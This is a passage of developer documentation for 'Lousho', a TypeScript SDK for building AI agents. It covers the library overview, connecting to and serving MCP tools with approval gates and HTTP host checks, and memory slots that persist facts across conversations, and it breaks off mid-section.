Lousho is a TypeScript SDK for building AI agents that run in your own code, on your own host. Give it a model and typed tools; get a run you can pause, resume, stream and test.

Most agent code starts as a loop around a model call, and then production asks for more: a human has to approve the refund before it is sent, the process restarts halfway through a run, the conversation has to continue tomorrow from another server, and somebody wants a test that fails when the agent stops calling the right tool.

`@lousho/build-ai-agent` is that loop with those answers built in. It is a library, with no web framework and no hosted runtime: a typed tool-calling loop with approvals, sessions, streaming, sub-agents, skills, MCP and a CLI. The same agent runs in a script, a Node server, a Docker container or a Cloudflare Worker (a Worker supports a [subset](/cloudflare-workers#what-works-and-what-does-not) of the providers and tools).

```mermaid theme={null}
flowchart LR
    A["your code<br/>send() or stream()"] --> B["agent run<br/>model step, tool calls, repeat"]
    B --> C{"tool needs<br/>approval?"}
    C -- no --> B
    C -- yes --> D["run pauses<br/>state is saved to a store"]
    D -- "approved, from any process" --> B
    B --> E["result<br/>text, typed object,<br/>usage and cost"]
```

```ts theme={null}
import { createAgent } from '@lousho/build-ai-agent';

const agent = createAgent({ model: 'openai/gpt-4.1-mini', instructions: 'You are a helpful assistant.' });
const { text } = await agent.send('Hello!');
console.log(text);
```

## What sets it apart

> **[Record, replay and catch drift](/evals)**
>
> `lousho eval --record` saves each case's real provider run as a cassette, `--replay` runs it in CI with no network or key, and `--drift` re-records and reports how the tool-call trajectory changed. `defineEval()` asserts on which tools were called, in what order, with which arguments.

> **[Durable approvals on your own stores](/durable-execution)**
>
> Sessions, checkpoints and approval pauses live in memory, files, one SQLite file or Cloudflare KV. A paused or interrupted run resumes from another request or another process, on a Worker too.

> **[One agent, many surfaces](/deployment)**
>
> `lousho build` ships the agent to a Node server, Docker or a Worker; `lousho acp` serves it to editors and `serveMcp` to MCP clients. Runs emit OpenTelemetry GenAI spans with token usage and USD cost.

> **[Self-hosted, across AI SDK majors](/installation)**
>
> One package, no platform account or hosted control plane. The `ai` peer accepts v4, v6 and v7, and `fromAiSdk()` / `fromAiSdkTools()` reuse your existing AI SDK models and tools.

## The building blocks

Each block is one function or one option on `createAgent()`. Use the ones you need; none of them requires the others.

| Block | What you write | What you get |
| - | - | - |
| [Tools](/tools) | `defineTool()` with a zod `input` | Arguments typed and validated, calls run in parallel |
| [Approvals](/approvals) | `needsApproval`, or `permissions` rules | A run that pauses for a human, then continues with `agent.approvals.resolve()` |
| [Sessions](/sessions) | `agent.session({ id })` | A multi-turn conversation kept in memory, files or SQLite |
| [Memory](/memory) | `defineMemory()` slots | Facts recalled into the prompt across sessions, per user or globally |
| [Structured output](/structured-output) | `output: zodSchema` | A typed, validated `result.object`, with one repair step |
| [Streaming](/streaming) | `agent.stream()` | Typed, versioned JSON events, ready for SSE |
| [Sub-agents](/sub-agents) | `subagents: { researcher, writer }` | One `task` tool for the lead; sub-agents run in parallel, locally or remotely |
| [Skills](/skills) | `loadSkills()` | Instructions the agent loads only when a task needs them |
| [Providers](/providers) | a `provider/model` string | OpenAI, Anthropic, Google, OpenRouter, Ollama or a mock, with retry and fallback; any AI SDK model via `fromAiSdk()` |

## Where an agent can live

The agent is the same object everywhere. What changes is the surface in front of it.

> **[In a web app](/react)**
>
> `useLoushoAgent()` for React and Vue, a store for Svelte, the Vercel AI SDK's `useChat`, or `createRouteHandler(agent)` in any Fetch-API framework.

> **[In chat and on a schedule](/channels)**
>
> Slack, Discord, webhooks and plain HTTP channels map messages to sessions and send approvals back. Cron schedules start runs on their own.

> **[In an editor](/acp)**
>
> `lousho acp` serves your agent to Zed and other Agent Client Protocol editors, with tool calls and permission prompts.

> **[As a deployed service](/deployment)**
>
> `lousho build` produces a Node server, a Docker image or a Cloudflare Worker from one spec.

## Compared to other libraries

`@lousho/build-ai-agent` sits one layer above a model call: like the AI SDK 7 agents, eve, Mastra, LangGraph, the OpenAI Agents SDK or the Claude Agent SDK, it runs a full agent loop. It builds on the Vercel AI SDK rather than replacing it: the built-in providers use `ai` and `@ai-sdk/*`, and `fromAiSdk()` wraps any other AI SDK model.

Durable approvals, evals, agent directories and coding-agent harnesses are no longer unique: AI SDK 7, eve and Mastra ship their own. What Lousho still does differently is record/replay with trajectory drift, durable approvals on Cloudflare Workers KV, serving the same agent over ACP and MCP, and running as one self-hosted package. It is weaker where it is young: it is in alpha, has no Postgres store, fewer native providers and no hosted dashboard. The [comparison](/comparison) has the per-project table, dated, with where each rival is ahead.

When something else fits better: if you only need to stream model text in a Next.js route, the AI SDK alone is less surface; if you deploy on Vercel and want its runtime, eve fits it natively; if you want Claude Code's own harness, the Claude Agent SDK gives you exactly that; if your team is on Python or already runs LangGraph Platform, staying there avoids a second stack. Coming from the AI SDK? See [Migrating from the AI SDK](/migrating-from-ai-sdk).

## Next steps

* [Quick start](/quickstart): scaffold a project, or run the five-line agent. The snippets run offline with the built-in mock provider.
* [Installation](/installation): requirements, peer dependencies, and which provider package pairs with which `ai` major.
* [Tools](/tools): define your first tool and see how arguments are validated.
* [Approvals](/approvals): pause a run for a human decision and resume it.
* [Testing](/testing): write a deterministic test for an agent without an API key.
* [Migrating from the AI SDK](/migrating-from-ai-sdk): move a `ToolLoopAgent` or `generateText` loop, its models and its tools.
* [Lousho with coding agents](/coding-agents): point Claude Code, Cursor or another coding agent at docs it can read.


# MCP (Model Context Protocol)
Source: https://lousho.com/mcp-integration



MCP works in two directions. Your agent can call the tools of MCP servers, or
your agent can be an MCP server that Claude Code, Cursor and other MCP clients
call. Both live in the `@lousho/build-ai-agent/mcp` subpath, and
`@modelcontextprotocol/sdk` is an optional peer: install it to use either
direction.

```sh theme={null}
npm install @modelcontextprotocol/sdk
```

`connectMcp`, `loadMcpTools` and `serveMcp` are exported from
`@lousho/build-ai-agent/mcp`; the package root and `@lousho/build-ai-agent/tools`
export them too. `createAgent({ mcpServers })` needs no import from the subpath.

## Use MCP servers in an agent

`createAgent({ mcpServers })` takes the same map. The servers connect on
`await agent.ready()` or, automatically, on the first `send()` / `stream()`;
each server's tools are added as `<server>__<tool>` (e.g. `docs__search`).
A server that cannot connect fails that call, and the next call tries again.
`agent.close()` disconnects them (stops stdio processes); a later tool call,
or `ready()`, reconnects. Without `mcpServers`, `ready()` and `close()` do nothing. The
`vendor/` model prefix chooses the provider; with OpenRouter use
`openrouter/<vendor>/<model>` (e.g. `openrouter/openai/gpt-4o-mini`).

```ts theme={null}
import { createAgent } from '@lousho/build-ai-agent';

const agent = createAgent({
  model: 'openai/gpt-4o-mini',
  mcpServers: {
    files: { command: 'npx', args: ['-y', '@modelcontextprotocol/server-filesystem', '.'] },
    docs: { url: 'https://example.com/mcp', headers: { Authorization: 'Bearer <token>' } },
  },
});
const { text } = await agent.send('List the files here.');
await agent.close();
```

stdio entries are spawned with `command` and `args` (in `cwd`, when set); `env`
is merged onto the MCP SDK's default allow-list (`PATH`, `HOME`, `USER`, `SHELL`, `TERM`
and `LOGNAME` on POSIX; `PATH`, `SYSTEMROOT`, `APPDATA`, `TEMP`, `USERPROFILE` and a few
more on Windows), not onto `process.env`. This holds with or without `env`, so
any other variable the server needs (an API key, `NODE_ENV`, a proxy setting)
is not inherited unless you list it: `env: { GITHUB_TOKEN: process.env.GITHUB_TOKEN }`. A failed
tool call (the server exited, timed out or answered with a protocol error)
rejects with [`LOUSHO_MCP_CALL_FAILED`](/errors#lousho_mcp_call_failed), naming
`<server>__<tool>`. A server that does not start fails with
[`LOUSHO_MCP_START_FAILED`](/errors#lousho_mcp_start_failed), whose message
has the exit code and the last lines the process wrote to stderr.
`stderr: 'forward'` (default) also copies the process's stderr to this one's,
`'capture'` only keeps the last lines, and `'inherit'` / `'ignore'` keep none.
`connectTimeoutMs` (stdio or HTTP) bounds the `initialize` handshake; the
default is the MCP SDK's 60 seconds. By default a server that cannot connect
fails every `send()` of the agent; mark a server you can do without
`optional: true` and it is left out with a `console.warn` instead (its tools
stay out for the life of the agent). `connectMcp()` skips an `optional` server
the same way, even with `onError: 'throw'`. HTTP
entries use the streamable HTTP transport and send the static `headers` on every
request. An HTTP entry can also sign in with OAuth, as the MCP authorization
spec describes: add `oauth: { redirectUri }` and an operator signs the agent in
once; see [MCP servers with OAuth](/oauth#mcp-servers-with-oauth).

Each tool call gets the run's abort signal, so aborting a run cancels the MCP
call in flight. `timeoutMs` on an entry (stdio or HTTP) bounds each call to
that server; without it the MCP SDK's default of 60 seconds applies.
`loadMcpTools(client, name, { timeoutMs })` takes the same option.

A tool result whose content is only text reaches the model as `{ "text": ... }`.
The result object still has `content` (the parts) for code that reads it, but
it is not sent to the model a second time. Results with images, audio or
resources keep every part, and `structuredContent` is used as the result when
the server sends it. Base64 data (an image or audio part's `data`, a resource's
`blob`) stays on the part for code, but the model gets a placeholder such as
`[image: image/png, 400000 base64 characters, not sent to the model]`. Like
every tool result, the rest is capped by `maxToolResultChars` (see
[Tools](/tools#what-happens-when-the-model-calls-a-tool)), and a tool
description longer than 2,000 characters is cut, since it is sent with every
request.

The map is the same one a spec file declares; see
[Configuration](/configuration) (the `mcpServers` section) for the YAML form.

### Share servers with `connectMcp()`

To share servers between agents, or to choose how failures are handled, call
`connectMcp(servers, options?)` and pass its `tools` yourself. It connects every
server and lists its tools before it resolves, so tools are known up front.
Options:

* `onError`: `'throw'` (default) rejects when a server cannot connect, after
  closing the others; `'skip'` leaves that server out and warns through `logger`.
* `lazy` (default `true`): after `close()` or a dropped connection, the next
  tool call reconnects. With `false` that call fails instead. Listing tools
  needs a connection, so `lazy` never delays the first connect.
* `logger`: receives skipped-server and skipped-tool warnings, and a warning
  (with the exit code and the last stderr lines) when a server's connection
  closes without `close()` (default: none).
* `tokens`: the token store (`AgentStore.tokens`) of servers with `oauth`;
  required when any server has `oauth`.
* `onToolsChanged(tools)`: called after a server's tool list changed (see below).

It returns `{ tools, close(), status() }`; `status()` maps each server to
`'idle'` (not connected yet, or after `close()`), `'connected'`, `'failed'`
(it could not connect, or its connection dropped, e.g. the stdio process
exited; with `lazy` the next tool call reconnects) or `'needs-auth'` (an
`oauth` server the app is not signed in to).

Tools are listed through every `tools/list` page (`nextCursor`), up to 100
pages per server. When a server sends `notifications/tools/list_changed`, its
tools are listed again: `tools` is updated in place (new tools added, gone ones
removed) and `onToolsChanged` is called. An agent with `mcpServers` offers the
new list from its next model call.

`tools` is a `Record<string, ToolDescriptor>` keyed `<server>__<tool>` — a
map, not the array `defineTool()` results make. `createAgent({ tools })` takes
both forms, and they combine: `tools: [myTool, mcp.tools]` registers the array
entries under their own names and the record's entries under their keys, so
own tools and MCP tools can sit in one list. (Spreading into one record,
`tools: { ...mcp.tools, my_tool: myTool }`, works too.)

```ts theme={null}
import { createAgent } from '@lousho/build-ai-agent';
import { connectMcp } from '@lousho/build-ai-agent/mcp';

const mcp = await connectMcp(
  { files: { command: 'npx', args: ['-y', '@modelcontextprotocol/server-filesystem', '.'] } },
  { onError: 'skip', logger: console }
);
console.log(mcp.status()); // { files: 'connected' }
const agent = createAgent({ model: 'openai/gpt-4o-mini', tools: mcp.tools });
await agent.send('List the files here.');
await mcp.close();
```

`mcp.tools` is a record, and `tools` also takes an array, so the two shapes
mix: `tools: [mcp.tools, weatherTool]` or `tools: [...createFsTools(workspace),
...Object.values(mcp.tools)]` (each MCP descriptor carries its
`<server>__<tool>` name, so `Object.values` works too).

### Tool names and filtering

Providers accept tool names matching `^[a-zA-Z0-9_-]{1,64}$`; MCP allows more.
A `<server>__<tool>` name with other characters has them replaced by `_`, and a
name over 64 characters is shortened, with a short hash so names stay distinct;
names that still collide get a `_2`, `_3` suffix. The server is always called
with the tool's own name, which `descriptor.metadata.mcp.tool` keeps, and a
renamed tool is logged as a warning. Valid names are unchanged.

An MCP tool may not take the name of another tool of the agent: if a server's
`<server>__<tool>` equals a local tool's name, the run fails with
`LOUSHO_CONFIG_INVALID` instead of the MCP tool replacing the local one (and its
approval gate). Rename the local tool, or leave the MCP tool out with
`tools: { exclude }`.

`tools: { include, exclude }` on a server entry (or
`loadMcpTools(client, name, { tools })`) loads only some of its tools, by their
MCP names: `include` keeps only those listed, then `exclude` drops those listed.
An `include` name the server does not offer is logged as a warning.

```ts theme={null}
const mcpServers = {
  hosting: { command: 'npx', args: ['-y', 'hosting-mcp'], tools: { exclude: ['multi-execute'] } },
};
```

### Approval for MCP tools

By default **every MCP tool asks for [approval](/approvals)**: the run
pauses until a human (or your `approve` callback) decides.

MCP servers describe each tool with annotations (`readOnlyHint`,
`destructiveHint`, `idempotentHint`, `openWorldHint` and a `title`). They are
the server's own word, not a guarantee, so the SDK trusts them only when you opt
in with `approval: 'annotations'`: a tool with `readOnlyHint: true` then runs
(and may run in [plan mode](/permission-modes)); a tool with
`destructiveHint: true`, or one that sends no `destructiveHint` (the MCP spec's
default is destructive), pauses the run until a human approves;
`destructiveHint: false` runs. The raw annotations stay on
`descriptor.metadata.mcp.annotations` either way, and `title` becomes the
`displayName`.

Set `approval` on a server entry (`mcpServers`, `createAgent`, `connectMcp()`) or
in `loadMcpTools(client, name, { approval })`:

* `'always'` (default): ask for every tool. Plan mode refuses every tool of the
  server.
* `'annotations'`: trust the server's hints, as above. Use it only for servers
  you trust.
* `'never'`: ask for none of them.
* A function `({ name, annotations, args }) => boolean` decides per call
  (`name` is the bare tool name; `annotations` is `{}` when the server sent
  none; `args` are the call's arguments). It lets you gate a meta-tool such as
  `execute({ operation })` by its arguments, since server hints are not always
  right. Only in code; a spec file takes the three strings.

[Permission rules](/approvals#permission-policies) run first and can still
`allow`, `deny` or `ask`.

```ts theme={null}
import { createAgent } from '@lousho/build-ai-agent';

const agent = createAgent({
  model: 'openai/gpt-4o-mini',
  mcpServers: {
    // The default: every tool asks.
    files: { command: 'npx', args: ['-y', '@modelcontextprotocol/server-filesystem', '.'] },
    // A server you trust to label its tools: its read-only tools run.
    github: { url: 'https://api.githubcopilot.com/mcp/', approval: 'annotations' },
    // Ask before anything except tools whose name starts with `search`.
    docs: { url: 'https://example.com/mcp', approval: ({ name }) => !name.startsWith('search') },
    // A server you trust: never ask.
    scratch: { command: 'node', args: ['./scratch-server.js'], approval: 'never' },
  },
});
```

### Tools from a client you connected yourself

Connect a `Client` from `@modelcontextprotocol/sdk` yourself and load
its tools with `loadMcpTools()`, then pass the result to `createAgent()` (or
register it on a `ToolRegistry`):

```ts theme={null}
import { createAgent } from '@lousho/build-ai-agent';
import { loadMcpTools } from '@lousho/build-ai-agent/mcp';

const tools = await loadMcpTools(mcpClient, 'my-server');
const agent = createAgent({ instructions: '...', provider, tools });
```

`loadMcpTools` is also available from the package root and from
`@lousho/build-ai-agent/tools`.

## Serve an agent over MCP

`serveMcp()` is the reverse of `loadMcpTools()`: it exposes an agent (and,
optionally, some of its tools) as an MCP server, so Claude Code, Cursor and
other MCP clients can call it.

```ts theme={null}
import { createAgent, defineTool } from '@lousho/build-ai-agent';
import { serveMcp } from '@lousho/build-ai-agent/mcp';
import { z } from 'zod';

const searchDocs = defineTool({
  name: 'search_docs',
  description: 'Search the docs',
  input: z.object({ query: z.string() }),
  execute: ({ query }) => `results for ${query}`,
});

const supportAgent = createAgent({ instructions: 'You answer support questions.', provider, tools: [searchDocs] });

const server = await serveMcp({
  agent: supportAgent,            // exposed as ONE tool taking { message: string }
  name: 'support-bot',            // server name; the tool name defaults to a sanitized version
  description: 'Ask the support agent a question',
  tools: [searchDocs],            // optional: also expose these tools directly
  transport: { type: 'http', port: 3920, host: '127.0.0.1', path: '/mcp' }, // default: 'stdio'
});
await server.close();
```

* **Stateless.** Every call to the agent tool is a fresh conversation.
* **Cancellation.** Cancelling the MCP request aborts the agent run
  (`agent.send(message, { signal })`). Over HTTP the run is also aborted when
  the client disconnects, and when a client timeout sends
  `notifications/cancelled` in a later `POST`: that cancel is matched to the
  request by its id and the client. The server keeps no session state, but it
  answers `initialize` with an `Mcp-Session-Id` header, which Streamable HTTP
  clients (`connectMcp()`, the MCP SDK) send back, so two clients behind one
  address and token are told apart. A client that sends no session id is known
  by its remote address, `Authorization` and `User-Agent`, and its cancel is
  ignored when several requests in flight match. The cancelled request is
  answered with a JSON-RPC error (`-32800`, `Request cancelled`).
* **Errors.** An agent failure comes back as an MCP result with `isError: true`.
* **Approvals.** Approval-gated tools cannot be approved over MCP. A run that
  pauses for approval returns `isError: true` with a message saying so, and
  its pending approvals are rejected without continuing the run, so they do not
  pile up in the agent's approval store. Tools
  flagged `needsApproval` are not exposed directly unless you pass
  `allowApprovalTools: true`; if you do, clients run them with **no human gate**.
* **stdio.** Nothing but the MCP protocol is written to stdout; warnings go to stderr.
* **HTTP.** Binds `127.0.0.1` by default. Add `auth: { type: 'bearer', token }`
  to require an `Authorization: Bearer` header; binding a non-loopback host
  without `auth` logs a warning. To block DNS rebinding (a web page re-pointing
  its own domain at your machine), a loopback bind answers `403` unless the
  `Host` header is `localhost`, a `127.x.x.x` address or `[::1]` (never a
  name such as `127.attacker.example`), and any request whose
  `Origin` header is not same-origin with `Host` gets `403`. Set
  `allowedHosts: ['mcp.internal']` to accept other names (it replaces the
  loopback default; on a non-loopback bind there is no Host check unless you
  set it) and `allowedOrigins: ['https://app.example']` to accept browser
  requests from another origin. `['*']` turns either check off.

### Annotations

`tools/list` carries MCP annotations so clients can tell what a tool does. A tool
that needs approval is advertised `readOnlyHint: false, destructiveHint: true`;
state hints yourself with `annotations` (sent verbatim). A tool with no hints sends
none, so a Lousho agent consuming this server keeps asking before it runs (see
`approval` on `connectMcp()`); `readOnlyHint: true` runs without asking. A tool that
needs approval is never advertised read-only. The built-in `read_file`, `list_dir`,
`glob`, `grep`, `todo_read`, `current_date` and `day_name` tools are read-only.

```ts theme={null}
import { defineTool } from '@lousho/build-ai-agent';
import { z } from 'zod';

const lookupOrder = defineTool({
  name: 'lookup_order',
  description: 'Look up an order',
  input: z.object({ id: z.string() }),
  annotations: { readOnlyHint: true, destructiveHint: false, title: 'Look up order' },
  execute: ({ id }) => ({ id, status: 'shipped' }),
});
```

### From the command line

`lousho mcp` serves an agent spec file (stdio by default):

```sh theme={null}
npx lousho mcp agent.yaml
npx lousho mcp agent.yaml --http --port 3920 --host 127.0.0.1
```

To use it from an MCP client, add it to the client's MCP config (for example
`.mcp.json` for Claude Code):

```json theme={null}
{
  "mcpServers": {
    "support-bot": { "command": "npx", "args": ["lousho", "mcp", "agent.yaml"] }
  }
}
```

## Limits

* Approval-gated tools cannot be approved over MCP when you serve an agent: a run that pauses for approval returns `isError: true`, and tools flagged `needsApproval` are not exposed unless `allowApprovalTools` is set.
* HTTP clients send static `headers` on every request. OAuth (`oauth`) is app-owned: one grant per server for the whole agent, signed in by an operator; there are no per-user MCP grants yet.
* `serveMcp()` calls are stateless: each call to the agent tool is a fresh conversation, and the HTTP transport accepts `POST` only.


# Memory
Source: https://lousho.com/memory



A [session](/sessions) remembers one conversation. Memory is what an agent
keeps **across** conversations: a user's preferences, facts it was told,
decisions made last week. You give an agent one or more named **memory
slots**; each slot stores short text items through a provider and is keyed by
a **scope** (one memory for everybody, one per session, or one per user).

For each slot, `createAgent({ memory })`:

1. **Recalls** at the start of every run (`send()`, `stream()`, each session
   turn): on the run's first model call, the newest items go into the system
   prompt in a `<memory name="...">` block. The block stays for the rest of
   the run. A session's stored transcript (`session.messages`) does not keep
   it, but the run's own transcript does: `result.messages` of `send()` /
   `stream()`, and the run's checkpoints (a run continued after an approval
   recalls from them), contain the system message with the recalled items. Do
   not log or export those as if they held no memory.
2. Gives the model a **`remember_<name>`** tool (input `{ text }`, or your own
   `itemSchema`) to store a new item, and a **`recall_<name>`** tool (input
   `{ query?, limit? }`, `limit` capped at 100) to search the slot, newest items first.
   Each returned item has its `id`, `text` and `createdAt`, plus `score` from a
   vector provider and, on a slot without `itemSchema`, its other `metadata`.
   The `remember_<name>` description tells the model how long items last: in
   later conversations (`'global'`), later in this conversation (`'session'`),
   or in later conversations with the same user or key (a scope function).
   Memory tags inside item text are escaped (`&lt;memory`, `&lt;/memory`) so
   an item cannot open or close a block.
3. With `expose: { forget: true }`, also gives it a **`forget_<name>`** tool
   (input `{ id }`) to delete an item that is wrong or out of date. See
   [Correcting memory](#correcting-memory).

## Memory in code

The `vendor/` model prefix chooses the provider; with OpenRouter use
`openrouter/<vendor>/<model>` (e.g. `openrouter/openai/gpt-4o-mini`).

```ts theme={null}
import { createAgent, defineMemory, fileMemory } from '@lousho/build-ai-agent';

const preferences = defineMemory({
  name: 'preferences',
  description: "the user's preferences: language, tone, tools they like",
  scope: 'session',
  provider: fileMemory({ dir: './.lousho/memory' }),
});

const agent = createAgent({
  model: 'openai/gpt-4o-mini',
  instructions: 'You are a helpful assistant. Save lasting preferences with remember_preferences.',
  memory: [preferences],
});

await agent.session({ id: 'user-42' }).send('Please always answer in French.');
// Later, in a new conversation with the same id, the preference is in the system prompt:
const { text } = await agent.session({ id: 'user-42' }).send('What is the capital of Japan?');
```

The system prompt of the second conversation ends with:

```text theme={null}
<memory name="preferences">
- The user wants answers in French.
</memory>
```

## Scopes

A run reads and writes the items of its **scope key**. In the provider, items
live under **`<slot name>#<scope key>`** (`notes#global`, `prefs#session:s1`),
so two slots that resolve to the same scope keep separate lists — you can share
one provider (and one `SqliteStore`) across slots safely. `memoryKey(slot, ctx)`
returns that key for a run context (or `undefined` when the slot is off); use it
when you seed, read or prune a slot's items from code.

| `scope` | Scope key | One memory per |
| - | - | - |
| `'global'` | `'global'` | agent (shared by every run) |
| `'session'` | `'session:<id>'`: the `agent.session({ id })` id, or `send()` / `stream()`'s `sessionId` (which needs a `store` with checkpoints) | session |
| `({ sessionId, metadata }) => string \| undefined` | what the function returns | whatever you key by, e.g. a user |

A scope function sees the run's `sessionId` and the `metadata` passed to
`send()` / `stream()`, so you can keep one memory per user across all their
sessions:

```ts theme={null}
import { createAgent, defineMemory, inMemoryMemory } from '@lousho/build-ai-agent';
import { mockModel } from '@lousho/build-ai-agent/testing';

const userFacts = defineMemory({
  name: 'user_facts',
  scope: ({ metadata }) => (typeof metadata?.userId === 'string' ? `user:${metadata.userId}` : undefined),
  provider: inMemoryMemory(),
});

const agent = createAgent({ provider: mockModel(['Hello!']), memory: [userFacts] });
await agent.send('Hi again!', { metadata: { userId: 'u-42' } });
```

`lousho dev` and `lousho chat` cannot pass run `metadata`, so a scope function that
reads `metadata.userId` is off there. To try per-user memory in the terminal, derive the
scope from `sessionId` as well (for example `` `user:${metadata?.userId ?? sessionId}` ``, with
`lousho chat --session <id>` as the "user"), or exercise it from a script with `send(..., { metadata })`.

When a run has no scope key (a `'session'` slot in a `send()` without a
`sessionId`, or a scope function that returns `undefined` or `null`), the slot is off
for that run: nothing is recalled and its tools are not offered.

A scope function must return a non-empty string (or `undefined` / `null`).
Anything else fails the run with `LOUSHO_MEMORY_INVALID` naming the slot,
because it would otherwise put every caller's items under one shared key: a
number or an object, an empty string, or a key built from a missing value such
as `user:undefined`, `user:null` or `user:[object Object]`. A scope function
that throws fails the run with the same code. `defineMemory()` rejects a
`scope` that is not `'global'`, `'session'` or a function.

A scope function also sees `principal`, the caller a route's auth verified, which
is safer to key on than `metadata` (the caller can send any metadata): see
[Route auth and principals](/auth#reading-the-principal-in-the-run).

### Items from before slot-name keys

Up to `1.0.0-alpha.19`, items lived under the bare scope key (`global`,
`session:s1`, `user:u-42`), shared by every slot with that scope. Those items
are still in the provider but no slot reads them. `migrateMemoryKeys(slot)`
copies them to the slot's current key, oldest first. It is safe to run on
every start: `add()` dedupes on text, so nothing is copied twice. Each copy
keeps `text` and `metadata` and gets a new `id` and `createdAt`.

```ts theme={null}
import { defineMemory, fileMemory, migrateMemoryKeys } from '@lousho/build-ai-agent';

const provider = fileMemory({ dir: './.lousho/memory' });
const notes = defineMemory({ name: 'notes', scope: 'global', provider });
const prefs = defineMemory({ name: 'prefs', scope: 'session', provider });

await migrateMemoryKeys(notes); // global: no contexts needed
await migrateMemoryKeys(prefs, { contexts: ['s1', 's2'].map((sessionId) => ({ sessionId })) });
```

For a `'session'` slot or a scope function, pass the contexts to migrate
(`{ sessionId }`, `{ metadata }`, `{ principal }`); a context the slot gives
no key is skipped. The old items stay unless you pass `removeLegacy: true`.
Leave them while another slot with the same scope still has to migrate: they
were shared. The result lists each old key that held items, its new key and
the count.

## Configuration options

`defineMemory(options)` returns a `MemorySlot`:

| Option | Type | Default | Description |
| - | - | - | - |
| `name` | `string` | required | 1-55 characters of `A-Za-z0-9_-`; the tools are `remember_<name>`, `recall_<name>` and (with `expose.forget`) `forget_<name>`. Unique per agent. |
| `description` | `string` | none | What the slot holds; added to the tool descriptions. |
| `scope` | `'global' \| 'session' \| (ctx) => string \| undefined` | required | See [Scopes](#scopes). |
| `provider` | `MemoryProvider` | required | Where items are stored: `inMemoryMemory()`, `fileMemory({ dir })`, or your own. |
| `recall.onSessionStart` | `boolean` | `true` | Recall into the system prompt on each run's first model call. |
| `recall.maxItems` | `number` | `10` | Most items recalled into the prompt, and the default `limit` of `recall_<name>`. |
| `recall.query` | `'last-input' \| 'none'` | `'none'` | `'last-input'` passes the run's last user message to the provider as `query`, to recall relevant items rather than the newest. |
| `expose.remember` | `boolean` | `true` | Offer the `remember_<name>` tool. |
| `expose.recall` | `boolean` | `true` | Offer the `recall_<name>` tool. |
| `expose.forget` | `boolean` | `false` | Offer the `forget_<name>` tool and show each item's id in the recalled block. See [Correcting memory](#correcting-memory). |
| `itemSchema` | a zod or Standard Schema | `{ text: string }` | `remember_<name>`'s input. When set, the parsed arguments are the item: `text` is their canonical JSON and `metadata` is the parsed object, so the slot enforces structured state instead of free text. |
| `itemKey` | `string \| string[]` | none | With `itemSchema`: the field(s) that identify an item. Remembering an item with the same key fields replaces the stored one. See [Correcting memory](#correcting-memory). |

```ts theme={null}
import { z } from 'zod';
import { defineMemory, inMemoryMemory } from '@lousho/build-ai-agent';

const relationship = defineMemory({
  name: 'relationship',
  scope: 'global',
  provider: inMemoryMemory(),
  itemSchema: z.object({ trust: z.number(), mood: z.string(), insideJokes: z.array(z.string()) }),
});
// remember_relationship now takes { trust, mood, insideJokes }; recall returns e.g. {"insideJokes":[],"mood":"playful","trust":10}
```

A slot with `expose: { remember: false }` is read-only for the model: you
fill it from code with `provider.add(memoryKey(slot)!, { text })`. For a
`'session'` or function scope, pass the run's context:
`memoryKey(slot, { sessionId, metadata })`. Without it `memoryKey()` returns
`undefined`, and the built-in providers reject a missing or empty scope key
with `LOUSHO_MEMORY_INVALID` instead of storing items under the key `undefined`.

### Correcting memory

By default memory only grows: remembering a changed fact adds a second item,
and both are recalled. Two options let a slot replace or drop items.

**`itemKey`** makes structured state upsert. With `itemSchema`, name the
field (or fields) that identify an item. When `remember_<name>` gets an item
whose key fields equal a stored item's, it replaces that item instead of
adding a second version. The item keeps its id, becomes the newest, and
`remember_<name>` returns `{ remembered: id, replaced: true }`:

```ts theme={null}
import { z } from 'zod';
import { defineMemory, inMemoryMemory } from '@lousho/build-ai-agent';

const settings = defineMemory({
  name: 'settings',
  scope: 'global',
  provider: inMemoryMemory(),
  itemSchema: z.object({ topic: z.string(), value: z.string() }),
  itemKey: 'topic',
});
// remember_settings({ topic: 'language', value: 'French' }), then
// remember_settings({ topic: 'language', value: 'English' }) leaves one item: English.
```

**`expose: { forget: true }`** adds `forget_<name>({ id })`, which deletes an
item, and each item in the recalled `<memory>` block then shows its id
(`- The user wants answers in French. (id: 3f…)`), so the model can forget a
fact that no longer holds and remember the new one. An unknown id returns
`{ forgotten: null, reason }` and changes nothing. `forget_<name>` carries
the annotations `readOnlyHint: false, destructiveHint: true`, so it is not
treated as read-only (for example in plan mode).

Replacing uses the provider's `upsert(scopeKey, { id, text, metadata })`,
which every built-in provider has. A custom provider without `upsert` gets
`remove()` then `add()` instead: the item gets a new id, and the two calls are
not atomic.

### When recall fails

Recall at the start of a run does not fail the run. If the provider throws (a
corrupt memory file, a database or KV outage), the run goes on without that
slot's `<memory>` block, and a `console.warn` names the slot (once per slot
per process). A `recall_<name>` call that fails returns the error to the model
as a tool error.

## Providers

| Provider | Storage |
| - | - |
| `inMemoryMemory({ maxItems? })` | This process; lost on restart. For tests and demos. |
| `fileMemory({ dir, maxItems? })` | One JSON file per scope key in `dir` (key URI-encoded, each uppercase letter written as `^` and the lowercase letter, so `user:Alice` and `user:alice` get different files on Windows and macOS too), written atomically. |
| `kvMemory({ binding?, maxItems? })` | A Cloudflare Workers KV namespace — the `AGENT_CHECKPOINTS` binding, or the one `binding` names — for `memory/` files of a cloudflare-worker agent directory; bound to `env` per request. See [Cloudflare Workers](/cloudflare-workers#build-and-deploy). |
| `sqliteMemory(store, { maxItems? })` (from `/sqlite`) | A `memory_items` table in the agent's `SqliteStore` file, one JSON array per scope key. |
| `inMemoryVectorMemory({ embedder, maxItems?, minScore? })` | This process; recalls by meaning. See [Semantic recall](#semantic-recall). |
| `sqliteVectorMemory(store, { embedder, maxItems?, minScore? })` (from `/sqlite`) | A `memory_vectors` table in the agent's `SqliteStore` file; recalls by meaning. |

The first three keep at most `maxItems` items per scope key (default 1000;
adding one more drops the oldest) and match a `query` by keyword: an item matches when it
shares a whole word with the query, ignoring case and a plural `s` (`cat` finds
"has two cats" but not "education"). Only the query's words of three or more
letters count, unless it has none (`"AI"`). Items matching more of the query's
words come first, then the newest. A query that shares no word with any item
returns nothing. Keyword matching does not know synonyms: to recall by meaning,
use a [vector provider](#semantic-recall).
Every built-in provider dedupes on `text`: adding an item whose text is
already stored returns the stored item instead of a duplicate (so an agent
that remembers the same fact twice keeps one copy).

### Several writers

Concurrent `add()` / `remove()` calls on one provider keep every item. Across
providers it depends on the storage:

* `fileMemory`: several providers on one `dir`, in one process or several
  (two agent processes, a worker and a CLI), keep every item. Each change
  holds a lock file, `<key file>.lock`, while it reads and rewrites the key's
  file; a lock left by a crashed process is taken over after 30 s, and a lock
